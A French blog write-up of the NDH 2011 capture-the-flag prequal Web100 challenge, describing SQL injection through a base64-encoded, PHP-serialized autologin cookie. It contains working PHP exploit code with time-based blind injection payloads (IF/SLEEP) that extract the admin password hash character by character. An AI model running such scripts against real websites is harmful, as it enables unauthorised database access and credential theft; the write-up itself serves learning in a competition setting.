NDH2k11 Prequals - Web100
By NiklosKoda on Monday, April 4 2011, 23:27 :: Prequals ndh2k11 :: Permalink
Autre épreuve des préquals du CTF de la NDH 20011, la Web 100 : on arrive sur un site sur lequel on peut s’inscrire et se connecter. Les noms des pages, les messages, le titre du site nous laisser penser qu’il s’agit de ce script.

A partir de là, on voit que le script est codé avec les pieds ^^. Par exemple on a un header() sans exit derrière, une XSS, ect... Mais pas d’injection SQL dans les sources.
Néanmoins, on remarque une fonctionnalité différente entre les sources et la version online : un autologin.
Lorsqu’on demande l’autologin, avec des identifiants valides, on obtient un cookie user_cookies Par exemple, avec les identifiants niklos:niklos, j’obtiens :
user_cookies=YToyOntpOjA7czozMjoiYmE2NzRmYjBlNDM3ZjkzOWFmZDY4NjMwNGZmYWFmZGYiO2k6MTtzOjY6Im5pa2xvcyI7fQ==
On reconnait facilement de la base64 :
<?php echo base64_decode($cookie); ?>
Ce qui donne : a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafdf";i:1;s:6:"niklos";}
C’est un tableau php serializé, qui contient deux chaines de caractères. On se rend compte facilement qu’il s’agit du md5 du password, et du login en clair. On tente une injection SQL dans le login, pour faciliter la manoeuvre on utilise un petit script :
<?php echo send($argv[1]); function send($injection) { if(($sock = fsockopen('wtfbbq.prequals.nuitduhack.com', 80)) === FALSE) die('Erreur de Connexion'); else { $requete = "POST /accueil.php HTTP/1.1\r\n"; $requete .= "Host: wtfbbq.prequals.nuitduhack.com\r\n"; $requete .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $requete .= "Connection: close\r\n"; $requete .= "Cookie: user_cookies=".base64_encode('a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafdf";i:1;s:'.strlen($injection).':"'.$injection.'";}')."\r\n"; $requete .= "Cache-Control: max-age=0\r\n\r\n"; fputs($sock, $requete); $rep = ''; while(!feof($sock)) $rep .= fread($sock, 1024); fclose($sock); return $rep; } } ?>
Et on utilise comme ça :
>php web100.php ' HTTP/1.1 200 OK [...] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version x to use near ''''' at line 1
Pour la suite, la fatigue commençai à se faire sentir, et je n’ai pas réussi à afficher les informations récupérées d’une requête SQL pourtant je suis sur qu'il était possible de faire un bête UNION... :/
Donc j’ai du exploiter de manière un peu plus hard... En fait j’arrivais à effectuer une requête SQL valide, mais le script ne m’authentifiais pas (peut être que je retournais trop de résultats, ou des résultats invalides, …). Etant donné qu’il se faisait déjà tard, j’ai choisi d’exploiter en “total blind”, c’est à dire en “timing-attack”. Le principe étant de combiner les fonctions IF() et SLEEP() dans la requête, puis de mesurer le temps de la requête : si notre sleep a été exécuté, alors le temps de la requête augmentera significativement.
Afin de récupérer le pass de l’admin, les 2 injections principales sont les suivantes : Pour déterminer la longueur du pass admin :
' AND IF(LENGTH((SELECT pass FROM utilisateurs WHERE privilege='admin'))=<longueur>, SLEEP(2), NULL)#
Pour bruteforcer un caractère du pass admin :
' AND IF(SUBSTR((SELECT pass FROM utilisateurs WHERE privilege='admin'), <position>, 1) = '<caractère>', SLEEP(2), NULL)#
Au final, l’exploit donne :
[+] Length = 32 ... [+] Found = d75012fcd80d92a3976b3cc104a5a3db
Et le md5 trouvé est le flag de validation \o/
La source de l’exploit est ci dessous.
<?php set_time_limit(0); $longueur = 0; $longueurMax = 1000; $break = FALSE; $resultat = ''; # Détermination du nombre de caractères while($break === FALSE && $longueur < $longueurMax) { $longueur++; $start = microtime(TRUE); $reponse = send("' AND IF(LENGTH((SELECT pass FROM utilisateurs WHERE privilege='admin'))=$longueur, SLEEP(2), NULL)#"); $stop = microtime(TRUE); if(($stop-$start)>2) $break = TRUE; } echo "[+] Length = $longueur\n"; # Détermination des caractères un par un $charset = 'abcdef0123456789'; for($i=1 ; $i<=$longueur ;$i++) { echo "[+] BF char num $i :\n"; for( $j=0; $j<strlen($charset); $j++ ) { $start = microtime(TRUE); $reponse = send("' AND IF(SUBSTR((SELECT pass FROM utilisateurs WHERE privilege='admin'),$i,1)='".$charset[$j]."', SLEEP(2), NULL)#"); $stop = microtime(TRUE); if(($stop-$start)>2) { $resultat .= $charset[$j]; echo "[+] Found = $resultat\n"; break; } } } # Fonction Send function send($injection) { if(($sock = fsockopen('wtfbbq.prequals.nuitduhack.com', 80)) === FALSE) die('Erreur de Connexion'); else { // echo "\t->Injection : $injection\n"; $requete = "POST /accueil.php HTTP/1.1\r\n"; $requete .= "Host: wtfbbq.prequals.nuitduhack.com\r\n"; $requete .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $requete .= "Connection: close\r\n"; $requete .= "Cookie: user_cookies=".base64_encode('a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafde";i:1;s:'.strlen($injection).':"'.$injection.'";}')."\r\n"; $requete .= "Cache-Control: max-age=0\r\n\r\n"; fputs($sock, $requete); $rep = ''; while(!feof($sock)) $rep .= fread($sock, 1024); fclose($sock); return $rep; } } ?>
